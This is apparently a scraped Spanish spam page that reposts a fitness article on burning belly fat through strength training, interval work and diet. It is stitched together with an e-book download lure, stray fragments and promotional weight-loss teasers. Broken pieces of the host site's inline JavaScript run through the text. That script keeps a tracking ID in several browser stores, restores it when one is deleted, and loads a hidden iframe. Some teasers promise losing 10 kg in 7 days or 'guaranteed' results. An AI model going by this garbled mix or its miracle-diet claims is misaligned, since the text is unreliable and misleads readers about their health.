¡ Bienvenido Amigos !


como reducir la celulitis rapidamente gratis libro
Descargar Aquí - Completamente Gratis

Posts Tagged ‘abdominales’

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos


El Camino Hacia La Reduccion De La Celulitis – Haz Click Aqui

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos -1 || str.indexOf(key + ‘=’) == 0) { var idx = str.indexOf(‘&’ + key + ‘=’); if (idx == -1) idx = str.indexOf(key + ‘=’); var end = str.indexOf(‘&’, idx + 1); var newstr; if (end != -1) newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + ‘&’ + key + ‘=’ + value; else newstr = str.substr(0, idx) + ‘&’ + key + ‘=’ + value; return newstr; } else return str + ‘&’ + key + ‘=’ + value; }; var strgt = function(name, text) { if (typeof text != ‘string’) return “”; var nameEQ = name + “=”; var ca = text.split(/[;&]/); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return ""; }; this.sfecw = { f:function(name, value) { var fv=""; try { if (typeof(value) != "undefined") window.name = strrp(window.name, name, value); else fv = strgt(name, window.name); } catch(e) { } return fv; }, name:"sbbrf" }; this.sfecud = { f:function(name, value) { var fv=""; try { var elm = document.getElementById('sbbfrcc'); elm.style.behavior = "url(#default#userData)"; if (typeof(value) != "undefined") { elm.setAttribute(name, value); elm.save(name); } else { elm.load(name); fv=elm.getAttribute(name); } } catch(e) { } return fv; }, name:"sbbrf" }; this.sfecgs = { sbbgh:function() { var domain = document.location.host; if (domain.indexOf('www.') == 0) domain = domain.replace('www.', ''); return domain; }, f:function(name, value) { var fv=""; if (window.globalStorage) { var host = this.sbbgh(); try { if (typeof(value) != "undefined") globalStorage[host][name] = value; else { fv=globalStorage[host][name]; if (typeof (fv.toString)!="undefined") fv=fv.toString(); } } catch(e) { } } return fv; }, name:"sbbrf" }; this.sfecls = { f:function(name, value) { var fv=""; try { if (window.localStorage) { if (typeof(value) != "undefined") localStorage.setItem(name, value); else { fv=localStorage.getItem(name); if (typeof (fv.toString)!="undefined") fv=fv.toString(); } } } catch (e) { } return fv; }, name:"sbbrf" }; this.sbbcv = function (invl) { try { var invalArr = invl.split("-"); if (invalArr.length>1) { if (invalArr[0]==”A”||invalArr[0]==”D”) { invl=invalArr[1]; } else invl=”"; } if (invl==null||typeof(invl)==”undefined”||invl==”falseImgUT”||invl==”undefined”||invl==”null”||invl!=encodeURI(invl)) invl=”"; if (typeof(invl).toLowerCase()==”string”) if (invl.length>20) if (invl.substr(0,2)!=”h4″) invl=”"; } catch (ex) { invl=”"; } return invl; }; this.sbbsv = function (fv) { for (var elm in this) { if (this[elm].name==”sbbrf”) { this[elm].f(“altutgv2″,fv); } } document.cookie = “UTGv2=”+fv+’; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=.articuloz.com’; }; this.sbbgv = function() { var valArr=Array(); var currVal=”"; for (var elm in this) { if (this[elm].name==”sbbrf”) { currVal = this[elm].f(“altutgv2″); currVal = this.sbbcv(currVal); if (currVal!=”") valArr[currVal]=(typeof(valArr[currVal])!=”undefined”?valArr[currVal]+1:1); } } var lb=0; var fv=”"; for (var val in valArr) { if (valArr[val]>lb) { fv = val; lb=valArr[val] } } if (fv==”") fv=sbbgc(“UTGv2″); fv = this.sbbcv(fv); if (fv!=”") this.sbbsv (fv); else this.sbbsv(“D-h42d79586c69c4ae906682529dec37ed6152″); return fv; }; }; function m2vr(m1,m2) { var i=0; var rc=”"; var est = “ghijklmnopqrstuvwyz”; var rnum; var rpl; var charm1 = m1.charAt(i); var charm2 = m2.charAt(i); while (charm1!=”"||charm2!=”") { rnum = Math.floor(Math.random() * est.length); rpl = est.substring(rnum,rnum+1); rc +=(charm1==”"?rpl:charm1)+(charm2==”"?rpl:charm2); i++; charm1 = m1.charAt(i); charm2 = m2.charAt(i); } return rc; } function sbbls(prid) { try { var eut = sbbgc(“UTGv2″); sbbeccfi = new sbbeccf(); sbbgs=sbbeccfi.sbbgv(); if (eut!=sbbgs && sbbgs!=”" && typeof(sbbfcr)==”undefined”) { addmg(‘utMedia’,”vii=”+m2vr(“9bf1455e991307c3fc8f859d11177ce4″,sbbgs)); } var sbbiframeObj = document.createElement (‘IFRAME’); var dfx=new Date(); sbbiframeObj.id = ‘SBBCrossIframe’; sbbiframeObj.style.border=’0px’; if (document.all) { sbbiframeObj.style.position=’absolute’; sbbiframeObj.style.top=’-1px’; sbbiframeObj.style.height=’1px’; sbbiframeObj.style.width=’28px’; } else { sbbiframeObj.style.height=’1px’; sbbiframeObj.style.width=’0px’; } sbbiframeObj.scrolling=”NO”; sbbiframeObj.src = ‘/sbbi/?sbbpg=sbbShell&gprid=’+prid+’&sbbgs=’+sbbgs+’&ddl=’+(Math.round(dfx.getTime()/1000)-1397725784)+”; var sbbDiv = document.getElementById(‘sbbfrcc’); sbbDiv.appendChild (sbbiframeObj); } catch (ex) { alert (ex.message); } } try{ y=unescape(sbbvscc.replace(/^$ /g,”)); document.getElementById(‘sbbhscc’).innerHTML=y; x=unescape(sbbgscc.replace(/^$ /g,”)); } catch(e){ x=’function genPid() {return “jser”; }’; } try { if (window.gprid==undefined) document.write(”+x+”var gprid=genPid(); addprid(gprid); sbbls(gprid);”); } catch (e) { addprid(“dwer”); } ]]>


Directorio de Artículos Gratis

¿Porqué publicar? Autores Top
Artículos Top
 ARespuestas

Publicar Artículos

0 && $ .browser.msie ) {
var ie_version = parseInt($ .browser.version);
if(ie_version Ingresar


Ingresar via


Registrarse
Hola
Mi Portada
Salir

Email

Contraseña


¿Me Recuerda?
¿Perdio la Contraseña?

Portada > Salud & Ejercicio > Dietas > 4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos

4 Estrategias Para Quemar Grasa Abdominal Y Obtener Un Abdomen Plano Con Los Abdominales Definidos

Posteado: 22/04/2013 |Comentarios: 0

| Vistas: 59

|




]]>

Creo que es importante ayudar a las personas en esta área de sus vidas, ya que no sólo mejoran su apariencia exterior y su confianza, sino que, más importante, mejora la forma en que se sienten y su salud interna, ayudándoles a vivir más tiempo y una vida más saludable. Es algo que me motiva y apasiona.

Esta pregunta me da vueltas en la cabeza constantemente¿en qué se equivoca el hombre o la mujer promedio cuando hace ejercicios abdominales?

Probablemente te sorprenderás por la respuesta. En tu búsqueda para obtener abdominales marcados, el mayor error que veo que la gente comete es desperdiciar DEMASIADO tiempo haciendo ejercicios específicos para abdominales… moviéndose de arriba abajo con toda clase de ejercicios para hacer trabajar sólo los abdominales.

Estoy seguro amigo(a) que sabes a qué me refiero. La persona está tratando tanto de conseguir que se vean sus abdominales, que pasa casi todo su tiempo en el gimnasio haciendo cientos de repeticiones de abdominales diferentes, elevación de piernas, torsiones, etc. Mientras tanto, todo ese tiempo perdido haciendo  abdominales podría haber sido mejor empleado en un programa de entrenamiento de cuerpo completo bien diseñado, que provocaría una respuesta metabólica mucho mayor y que también aumentaría los niveles de hormonas para quemar grasa de tu cuerpo.

Después de todo, perder la grasa abdominal que cubre los músculos es el aspecto MÁS importante para la mayoría de las personas, para que finalmente puedan lograr unos músculos abdominales visibles. Por desgracia, los cientos de abdominales y levantamientos de piernas no provocan una gran respuesta metabólica, ni de la hormona quema grasa. Pero primero quiero asegurarme de que comprendas los conceptos más importantes para la reducción duradera de la grasa.

En los errores que cometemos en forma frecuente en el gimnasio me surgen 2 preguntas ¿hay alguna diferencia según el género? Y, más importante, ¿hay alguna diferencia de género con respecto a la respuesta a diferentes tipos de ejercicios abdominales?

Para ser honesto amigo(a), realmente, no veo ninguna necesidad de que los hombres o las mujeres hagan entrenamientos diferentes. La verdad es que… los mejores ejercicios son los mejores ejercicios, independientemente del género y punto.

Sin embargo, en cuanto a los errores que veo según el género… Sí, tiendo a ver que las mujeres con más frecuencia se mueren de miedo de usar el entrenamiento con pesas, con cualquier cosa que no sea un peso muy ligero. Eso es una lástima, porque la forma más eficaz de ganar control sobre tu grasa corporal de por vida, es aumentar al máximo la masa muscular magra del cuerpo, así como trabajar el músculo lo más que puedas, regularmente, con ejercicios intensos de resistencia, que te ayudarán a quemar en forma definitiva la grasa abdominal.

Pienso que es importante que las mujeres sepan que el entrenamiento de fuerza regular, usando resistencia más pesada NO las “hará abultarse” (mientras se controle la ingesta calórica) sino que, más bien, es uno de los secretos clave para perder grasa corporal y permanecer delgadas todo el año. Por cierto, algunas de las mujeres más delgadas que he visto son las que se ejercitan a lo largo de los años, no tienen miedo de trabajar duro con las pesas.

También he notado que la mayoría de las mujeres (y muchos hombres también) pasan demasiado tiempo con ejercicio cardio lento. Esto no es necesario, y la forma en que se combina el entrenamiento de resistencia de alta intensidad en rutinas para el cuerpo completo, generalmente brinda suficiente trabajo cardiovascular por sí mismas.

¿Y qué hay de los abdominales de la vieja escuela? ¿Los utilizas? ¿Son buenos, malos o “depende”?

Los abdominales son un tema controvertido. No creo que sean buenos o malos pero se, sino más bien “un término medio”.  Simplemente, no siento que sean necesarios y creo que hay que concentrarse en ejercicios abdominales mucho más efectivos. Personalmente, casi nunca hago abdominales, sólo en raras ocasiones para agregar algo de variedad.

Ejemplo semanal de rutina de entrenamiento para abdominales.
 ¿Cuántos días a la semana? ¿Cuáles son los dos mejores ejercicios que elegirías? ¿Cuántos? ¿Repeticiones? ¿Descanso?

]]>

Bueno, en primer lugar me gustaría señalar que los movimientos de cuerpo completo que constituyen la mayoría de mis rutinas sugeridas hacen trabajar indirectamente a los abdominales y a todo el “núcleo” en un porcentaje bastante decente. Sin embargo, sí aconsejo ejercicios abdominales específicos en las rutinas, generalmente cerca de 2 veces por semana. Los “ejercicios específicos para abdominales” de las sesiones de entrenamiento generalmente sólo toman unos 5 minutos como máximo, con muy poco descanso entre ejercicios.

Una vez que rebases la primera fase y tienes algo más de fuerza en el abdomen, trato de alejarme de los ejercicios demasiado fáciles, de hacer 50 o 100 repeticiones como es frecuente con las sentadillas comunes. En cambio, me gusta centrarme en ejercicios de mayor resistencia que en realidad estimulan mucho más las fibras musculares y la pérdida de peso.

Un ejemplo de ejercicio abdominal con mayor resistencia es la elevación de piernas, colgando, con una correcta “flexión pélvica”. Es curioso, pero por lo general alguien que ha estado perdiendo tanto tiempo con cientos de repeticiones de abdominales sólo puede hacer pocas de algunos de estos ejercicios de mayor resistencia en el primer intento.

También asegúrate  de no descuidar algunos movimientos de rotación, así como de trabajar los músculos más profundos, como el transverso del abdomen.

¿Qué usas amigo(a) para quemar grasa, intervalos o cardio lento? ¿O ambos? ¿Hay diferencias de género en esto?

En la mayoría de los casos me gusta trabajar con “entrenamiento de intensidad variable”. En general, creo que el cardio lento a ritmo constante es una pérdida de tiempo, especialmente si el objetivo es la pérdida duradera de grasa.

Creo que la gente debe dejar de pensar en “quemar grasa por áreas” y en las calorías quemadas durante el entrenamiento real, y ver el panorama más amplio de lo que están haciendo en su sesión de ejercicios para estimular la mayor respuesta metabólica en el cuerpo… y la mejor respuesta metabólica y hormonal se logra a través de entrenamiento de intensidad variable y entrenamiento de fuerza, no con cardio lento de ritmo constante.

Ahora, si estas realmente en mala forma y no puedes soportar aún rutinas de ejercicio de intensidad más alta, esto no significa que no pueda hacer rutinas de baja intensidad, pero con una intensidad “variable”, alternando entre niveles de esfuerzo mayor y menor en todo el entrenamiento.
Consejos nutricionales para perder grasa corporal y esculpir esos abdominales.

Creo que estarás de acuerdo amigo(a) en que nunca ha habido una época más confusa para los consumidores respecto de la nutrición adecuada. Todos los llamados “expertos” que hay por ahí parecen estar en desacuerdo y se contradicen entre ellos sobre cuál es la mejor manera de comer para perder grasa y tener una buena salud general.

Uno de los mensajes más importantes que trato de enseñar en mis artículos, en este mundo de tanta confusión, es que no tienen por qué seguir ninguna de las dietas de moda… no tienen que comer “bajo en carbohidratos” o “bajo en grasa”, ni alto o bajo en nada para tener éxito en perder suficiente grasa y adelgazar hasta que puedan ver sus abdominales.

Me gusta tratar de simplificar las cosas en mis artículos. Creo que el equilibrio es la clave del éxito, junto con una dieta que se componga de alimentos de alta densidad de nutrientes en su estado natural (lo menos procesados posible).

En general, el alto procesamiento de los alimentos es lo que hace estragos en nuestros cuerpos. La mayoría de los alimentos en su estado natural sin procesar son inherentemente buenos para nosotros. Por supuesto, siempre hay excepciones… una ensalada de hojas de hiedra venenosa es “natural y sin procesar”, ¡pero ciertamente no sería buena para nosotros!

4 Estrategias Importantes de la nutrición que te ayudan a quemar la grasa abdominal para toda la vida…

Estrategia # 1.- Obtén suficiente cantidad de proteína de buena calidad en tu dieta diaria – no sólo tiene un mayor efecto térmico que los carbohidratos y las grasas (quemas más calorías digiriéndola), sino que también provoca saciedad, para satisfacer tu  hambre por más tiempo. Además, es un bloque de construcción para mantener y crear masa muscular… Y recuerda que la cantidad de músculo magro que tengas es uno de los factores principales para controlar tu metabolismo.

Estrategia # 2.- ¡Piensa en fibra! Cuando se trata de hidratos de carbono, asegúrate de que casi totalidad de tu consumo de hidratos de carbono provenga de fuentes más altas en fibra como verduras, frutas y granos sin refinar, con alto contenido de fibra. Trata de evitar los azúcares refinados y los granos refinados, ya que son una de las principales razones por las que tanta gente lucha con la grasa corporal.

Personalmente, yo no como muchos granos porque prefiero sacar el máximo provecho de mis hidratos de carbono de las verduras y frutas, pero debo admitir que me gustan los granos germinados. En general, recomiendo buscar fuentes de hidratos de carbono que tengan al menos 2-3 gramos de fibra por cada 10 gramos de carbohidratos totales. Recuerda que la fibra ayuda a saciarte y también disminuye la respuesta glucémico de los alimentos que comas, lo que es bueno para adelgazar.

Estrategia # 3.- ¡No tengas miedo de comer grasa! Muchas personas tratan de bajar demasiado su consumo de grasa y esto puede afectar negativamente los niveles hormonales en tu cuerpo, además de provocar más antojos. Trata de comer suficientes grasas saludables al día.

Buenas fuentes son los frutos secos y semillas, mantequillas de frutos secos, paltas o aguacates, aceite de oliva, las carnes y los huevos orgánicos, coco y aceite de coco virgen. En ese sentido, las grasas saturadas de los aceites tropicales NO se entienden mucho, incluso hay muchos nutricionistas y otros profesionales de la salud que no las conocen bien. Sí que están compuestas de grasas saturadas, pero éstas son realmente beneficiosas (aunque esto va más allá del alcance de este artículo).

Estrategia # 4.- Evita las dos peores cosas de nuestro suministro de alimentos A TODA COSTA:

Las grasas trans artificiales de las margarinas, mantequillas y aceites hidrogenados que se encuentran en la mayoría de los alimentos procesados.
el jarabe de maíz de alta fructosa que está en casi todos los productos endulzados del mercado.

Nuevamente, si evitas los alimentos procesados, te resultará fácil evitar estos 2 peores culpables de nuestro suministro de alimentos.

Siempre digo que, una vez que consigues entender estos 4 puntos principales de la dieta detallados arriba, el resto empieza a cuidar de sí mismo a medida que controlas tu apetito, los niveles de azúcar en la sangre, los niveles hormonales, etc. Todo encaja, y finalmente logras el control total sobre cuánto quieres adelgazar.

Estimado(a) amigo(a) al finalizar este artículo te sugiero que tomes en cuenta estos 4 Estrategias para Quemar Grasa Abdominal y Obtener un Abdomen Plano con los Abdominales Definidos, si piensas que el artículo es de calidad, compártelo con tus amigos, o se me queda algo en el tintero, házmelo saber a través de tus comentarios o comparte tu experiencia y conocimientos conmigo.

Personalmente estaré contestado tus preguntas y comentarios.

Saludos.

Alfonso

Retrieved from “/dietas-articulos/4-estrategias-para-quemar-grasa-abdominal-y-obtener-un-abdomen-plano-con-los-abdominales-definidos-6562053.html

]]>

-
Sobre el Autor:

Hola, soy Alfonso Maturana. Creo en las relaciones basadas en la confianza, pienso que hay una forma de hacer las cosas bien, de hacerlas correctamente y creo que es importante realizarlas de manera confiable. Me gusta crear artículos gratuitos y de buena calidad para ayudar a la personas y poder compartir mi experiencia y conocimientos. Te mostraré  una nueva forma de ver las cosas, verlas desde otro punto de vista, desde otro enfoque. Con instrucciones, consejos y pasos sencillos que puedes implementar en tu vida. Creo entregar más de lo prometido. Estaré encantado con tus preguntas y comentarios. Además, puedes seguirme en mi blog. http://quemargrasadelabdomen.wordpress.com 

Hacer una pregunta

Consulta nuestros expertos sobre Dietas aquí las preguntas relacionadas…

Pregunta

200 Caracteres que restan

Que puedo comer en el desayuno almuerzo y cena para obtener el abdomen plano
Cual es el ejercicio correcto para los abdominales
Hola: desearía saber si, con estos ejercicios para brazos y una dieta rica en proteinas, es posible eliminar los cúmulos de grasa que tengo en los brazos, sobretodo en la parte superior pero de fuera

Puntear artículo

1
2
3
4
5

voto(s)
0 voto(s)

Comentar

Imprimir

Re-Publicar

Fuente del Artículo: http://www.articuloz.com/dietas-articulos/4-estrategias-para-quemar-grasa-abdominal-y-obtener-un-abdomen-plano-con-los-abdominales-definidos-6562053.html

Agregue un nuevo comentario

Artículos Relacionados
Últimos Dietas Artículos
Mas de Luis

¿ Cómo Quemar Grasa Abdominal ? – 5 Tips Para Transformar Tu Abdomen

Cuántas personas conocemos que sueñan con tener su ‘six-pack’ en su abdomen. Casi todos nosotros soñamos con un abdomen plano. Si estás buscando cómo para empezar a quemar grasa abdominal, entonces sigue estos tips o trucos que te ayudarán a perder esa grasa. Si quieres eliminar esos centímetros alrededor de tu cintura estos tips te van a ayudar

por:
Alfonso Sánchezl
Salud & Ejerciciol
19/12/2009
lVistas: 3,418

4 Pasos Para Quemar La Grasa Del Abdomen

“En este artículo conocerás 4 Pasos para quemar la grasa del abdomen en Forma Natural” ¡Garantizado! Estimado(a) amigo(a), si estas buscando bajar y tonificar tu abdomen, existen mejores maneras de hacerlo en lugar de sólo intentar hacer abdominales. De hecho, las investigaciones han demostrado que hacer ejercicios de abdominales por si solos, incluso cuando se hacen cinco días a la semana durante seis semanas, no tienen ningún efecto en absoluto en la grasa almacenada…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 97

2 Secretos Vitales Para Quemar Grasa Del Abdomen

“Si aprendes lo que te voy a enseñar en este artículo, comenzarás a quemar grasa del abdomen en forma natural, ¡garantizado!”. Estoy seguro de que ves MONTONES de comerciales y anuncios haciendo todo tipo de declaraciones milagrosas para quemar la grasa del abdomen durante la noche con su “píldora mágica”, pero la grasa abdominal no baja… ¿no?. En éste artículo aprenderás 2 secretos vitales para quemar grasa del abdomen.

por:
Luisl

Alimentos & Bebidas>
Bajas Caloríasl
26/09/2012
lVistas: 663

5 Consejos Efectivos Para Quemar Grasas Del Abdomen

Así que quiere saber Como Quemar Grasas del Abdomen.
Excelente, Te doy cinco consejos efectivos para que lo logres. Bueno, ¿por qué hacerlo? En primer lugar un abdomen de grasa es un problema de salud grave.
¿Sabes que todo el mundo tiene el famoso “paquete de 6″?, Sí, incluso tu. Sin embargo, si tienes mucha grasa abdominal la gente como tú no los pueden ver.
Aquí están los 5 Consejos Efectivos para Quemar Grasas del Abdomen.

por:
BajarGrasal

Salud & Ejercicio>
Dietasl
26/04/2012
lVistas: 161

5 Consejos Para Aplicar Hoy Y Poder Quemar Grasa De Abdomen

Como Quemar Grasa De Abdomen?
Si quieres saber Como Quemar Grasa De Abdomen, sin hacer un millón de sentadillas o abdominales…Hay algunos cambios simples que puedes hacer que te permitirá perder grasa del estómago en tan sólo 10 días. En este artículo vamos a descubrir algunos de estos cambios y la forma de adoptarlos a tu rutina diaria.

por:
BajarGrasal

Salud & Ejercicio>
Dietasl
27/03/2012
lVistas: 590

Mitos Y Realidades Para Tener Un Vientre Plano

Podemos Leer y escuchar una y mil historias con soluciones diferentes para cada problema. Pero, ¿de verdad funcionan? Habrás escuchado que quinientas abdominales diarias endurecerán tu abdomen, que no cenar te ayudara a perder peso, que el pan engorda, que hacer ejercicio en ayunas es lo mejor, etcétera. Siempre estamos buscando tener un vientre plano, el problema es que con tal de conseguirlo ¡nos creemos todo tipo de soluciones! Te presentamos los mitos para tener es abdomen y tips reales par

por:
Rob Poulosl

Salud & Ejercicio>
Deportel
05/01/2011
lVistas: 705

12 Snack Saludables Para Quemar Grasa Del Abdomen Entre El Desayuno, Almuerzo Y Cena

Cómo trabajo en mi empleo actual en sistemas de turnos, muchas veces me pregunto cuál sería una buena elección de llevar un desayuno, comida o cena saludable. Todos los días tengo que luchar para encontrar buenas ideas para refrigerios sanos y rápidos “entre comidas”… especialmente una pequeña comida rápida o refrigerios que pueden llevarse a la oficina o en viajes por carretera y ¡así evitar la basura de comida rápida! Estimado(a) amigo(a) en este artículo aprenderás 12 Snack saludables…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 22

3 Formas De Como Eliminar La Grasa Del Abdomen

Cuando se comienza a ganar peso uno de los primero cambios que experimentamso es el aumento de grasa en la zona abdominal. Es por eso que para ayudarte aquí encontraras 3 formas de como eliminar la grasa del abdomen. Aplicandolas correctamente a tu vida en algunas semanas comenzaras a notar los cambios en tu cuerpo y tu salud.

por:
A Bajar De Peso Yal
Salud & Ejerciciol
13/12/2012
lVistas: 75

Dieta Rápida, Bajar 10 Kg En Solo 7 Días

Eliminar tocino, descontar kilos, perder peso, , eso es lo que quieren mujeres y hombres en muchos países en torno a del mundo. Todos tienen el mismo fin porque saben cuales son los beneficios de suprimir el sobrepeso. No es solo cuestión de belleza, la salud forma una parte muy importante.

por:
Esther Gamezl

Salud & Ejercicio>
Dietasl
24/03/2014
lVistas: 13

Como Debe Ser Una Dieta Saludable Para Perder Peso

Si deseas bajar de peso saludablemente, en este articulo encontrarás algunos consejos y tips para aprender como debe ser una dieta saludable para perder peso y no volverlo a recuperar.

por:
Juan Camilol

Salud & Ejercicio>
Dietasl
24/03/2014
lVistas: 65

Se Pregunta ¿cómo Bajar De Peso Rápido?

Saber perder peso es saber qué estrategias funcionan mejor para usted. He aquí tres consejos que usted puede poner en práctica en estos momentos. Estos consejos no funcionan para usted? No hay problema, te enviaremos un eBook con 50 consejos para bajar de peso.

por:
Lorena Hernandezl

Salud & Ejercicio>
Dietasl
23/03/2014

Disfruta De Los Licuados De Frutas Para Bajar De Peso

Mucha gente en la actualidad descubre un montón de increíbles beneficios al hacer tus propios licuados de frutas para bajar de peso. Cuando lo piensas, la alternativa son los licuados pre-hechos y comidas bajas en grasa o sin grasa, que venden sobre una base comercial.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014
lVistas: 12

Causas De Los Métodos Extremos Para Perder Peso

Mucha gente en nuestra actual sociedad tienen el deseo ferviente de querer resultados ya mismo. Esta afición por la satisfacción inmediata se extiende también a los programas para perder peso.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Cómo Encontrar Los Mejores Planes De Entrenamiento Para Perder Peso

Cuando deseas tener la seguridad de que quieres perder peso, debes tomar ventaja de los planes que te permitirán hacer un seguimiento de tu progreso. No importa el tipo de plan para perder peso que quieres, deberías aprovecharte de los planes que están disponibles para ti.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Cómo Encontrar Los Mejores Suplementos Para Bajar De Peso

Un suplemento es básicamente algo que se agrega a algo que ya está completo o para ayudar a compensar una cierta deficiencia en el cuerpo. Existe una gran cantidad de personas que buscan los mejores suplementos para bajar de peso y deshacerse de esos kilos molestos.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

5 Consejos Fáciles Para Bajar De Peso

Sin duda la época del año justo después de las vacaciones, es cuando todo el mundo empieza a pensar en lo que deben hacer para el nuevo año. La mayoría de la gente se pone a buscar consejos fáciles para bajar de peso que pueden incorporar a su vida diaria.

por:
Isabel Linaresl

Salud & Ejercicio>
Dietasl
18/03/2014

Consejos Para Quemar La Barriga Y Bajar 7 Kilos En 30 Días

“Si pones en práctica estos 5 Consejos Para Quemar la Barriga, comenzarás a quemar grasa corporal en forma natural, ¡garantizado!”. Por lo general, en invierno siempre subimos algunos kilos demás, estudios científicos dicen, que el frió nos motiva a consumir más calorías de lo normal, muchos de nosotros tenemos trabajos donde pasamos mucho tiempo sentados frente a un computador, contestando el teléfono, leyendo emails o confeccionando algún informe de último minuto para nuestro jefe.

por:
Luisl

Salud & Ejercicio>
Dietasl
04/12/2013
lVistas: 12

Como Ganar Dinero Con El Social Media Manager Y El Marketing Online

Últimamente he leído que los nuevos perfiles de profesionales relacionados Social Media Manager son de los más demandados por las empresas. Por eso no es de extrañar que, ante la precaria situación laboral por la que atraviesa el país, muchos de quienes se encuentran sin trabajo, o quieren mejorar su situación laboral centren su atención en este área y se lancen en busca de cómo mejorar su formación y qué han de saber o aprender para sumergirse en el medio 2.0.

por:
Luisl

Negocios>
Negocios En Líneal
04/12/2013

Dieta Tlc Para Quemar La Grasa Del Abdomen

Pienso que la Dieta TLC es bastante efectiva en reducir el colesterol y ayudarnos a lograr nuestro objetivo de quemar la grasa abdominal. No promete una baja de peso significativa a corto plazo, pero sí una disminución eficaz y sin efecto rebote. Por esto y por sus beneficios a nivel cardiovascular, miles de personas la siguen.

por:
Luisl

Salud & Ejercicio>
Dietasl
02/08/2013
lVistas: 30

Café Verde Para Quemar La Grasa Abdominal

Estimado(a) amigo(a) si andas buscando un nuevo producto para quemar la grasa del abdomen que puedes complementar perfectamente con una buena nutrición y buenas rutinas de ejercicios. Creo que debes conocer y utilizar este nuevo producto que te ayudará naturalmente a bajar de peso, personalmente lo estoy utilizando y he podido perder 5 kilos en 30 días. ¿Por qué no te animas a probar este nuevo producto?

por:
Luisl

Salud & Ejercicio>
Dietasl
02/08/2013
lVistas: 46

Diabetes El Enemigo De Quemar La Grasa Abdominal

Creó que es importante que tomemos conciencia y poco a poco pasemos a convertirnos en personas quemadoras de azúcar a personas quemadoras de grasa. Están tan seguros porque suponen que nuestro estilo de vida, nuestra mala alimentación y desinformación continuarán sin nada que los desafíe. ¿Continuaremos causándonos nuestros propios problemas al seguir malos consejos provenientes de la mala ciencia?

por:
Luisl

Salud & Ejercicio>
Enfermedadesl
22/04/2013
lVistas: 23

12 Snack Saludables Para Quemar Grasa Del Abdomen Entre El Desayuno, Almuerzo Y Cena

Cómo trabajo en mi empleo actual en sistemas de turnos, muchas veces me pregunto cuál sería una buena elección de llevar un desayuno, comida o cena saludable. Todos los días tengo que luchar para encontrar buenas ideas para refrigerios sanos y rápidos “entre comidas”… especialmente una pequeña comida rápida o refrigerios que pueden llevarse a la oficina o en viajes por carretera y ¡así evitar la basura de comida rápida! Estimado(a) amigo(a) en este artículo aprenderás 12 Snack saludables…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 22

4 Pasos Para Quemar La Grasa Del Abdomen

“En este artículo conocerás 4 Pasos para quemar la grasa del abdomen en Forma Natural” ¡Garantizado! Estimado(a) amigo(a), si estas buscando bajar y tonificar tu abdomen, existen mejores maneras de hacerlo en lugar de sólo intentar hacer abdominales. De hecho, las investigaciones han demostrado que hacer ejercicios de abdominales por si solos, incluso cuando se hacen cinco días a la semana durante seis semanas, no tienen ningún efecto en absoluto en la grasa almacenada…

por:
Luisl

Salud & Ejercicio>
Dietasl
22/04/2013
lVistas: 97

5 Beneficios De La Chía Para Quemar La Grasa Abdominal

“En este artículo conocerás 5 Beneficios de la chía y 7 razones para incorporarla a tu dieta alimenticia que te ayudarán a quemar la grasa del abdomen en Forma Natural” ¡Garantizado! Estimado(a) amigo(a) mantener un estilo de vida saludable no es fácil. Se requiere de mucha disciplina y algo de conocimiento, en especial para distinguir los alimentos verdaderamente ricos en nutrición, y lo que se nos vende “por sano y natural”. Por eso es que constantemente busco súper alimentos, porque ambos…

por:
Luisl

Salud & Ejercicio>
Dietasl
18/04/2013
lVistas: 69

Navegacion de Autor

Mi Portada
Publicar Artículos
Ver/Editar Artículos
Ver/Editar P&R
Editar tu Cuenta
Manejar Autores
Estadisticas de la Página
Mi Portada
Editar tu Cuenta
Renovar Perfil
Ver/Editar P&R
Publicar Artículos
Box del Autor


tiene 28 artículos en linea

Contactar al Autor

Subscribirse al RSS

Imprimir Artículo

Enviar a un Amigo

Republicar artículo

Categorías
Salud & Ejercicio

Adicciones
Aeróbic
Antienvejecimiento
Cancer
Comer
Deporte
Dietas
Dormir
Enfermedades
Entrenamiento Muscular
Gimnasia Terapéutica
Medicina Alternativa
Meditación
Nuevos Descubrimientos

]]>

¿Necesita Ayuda?
Contáctenos
Preguntas Frecuentes
Publique Artículos
Directrices Editoriales
Blog

Links del Sitio
Artículos Recientes
Autores Top
Artículos Top
Encuentre Artículos
Mapa del Sitio

Webmasters
RSS

Información Financiera
Publicidad

La utilización de este sitio web constituye la aceptación de los Términos de Uso y la Política de Privacidad | El contenido publicado esta bajo licencia de Creative Commons License.
Copyright © 2005-2014 Artículos Gratis por ArtículoZ.com, Todos los derechos reservados.

Hola, soy Alfonso Maturana. Creo en las relaciones basadas en la confianza, pienso que hay una forma de hacer las cosas bien, de hacerlas correctamente y creo que es importante realizarlas de manera confiable. Me gusta crear artículos gratuitos y de buena calidad para ayudar a la personas y poder compartir mi experiencia y conocimientos. Te mostraré  una nueva forma de ver las cosas, verlas desde otro punto de vista, desde otro enfoque. Con instrucciones, consejos y pasos sencillos que puedes implementar en tu vida. Creo entregar más de lo prometido. Estaré encantado con tus preguntas y comentarios. Además, puedes seguirme en mi blog. http://quemargrasadelabdomen.wordpress.com 


Article from articlesbase.com

como chemar grasa rapido

A veces, los mejores éxitos vienen después de las peores decepciones. Compartir esta en Twitter

secretos para perder peso


hello

10 Secretos Para Perder Peso y conseguir un estómago plano rápidamente

Tambien, voy a revelar los 3 métodos más eficaces para quemar grasa que la industria de la pérdida de peso no quiere que usted se entere.

Usted descubrirá 3 métodos efectivos que han funcionado para muchas personas para perder peso rapidamente.

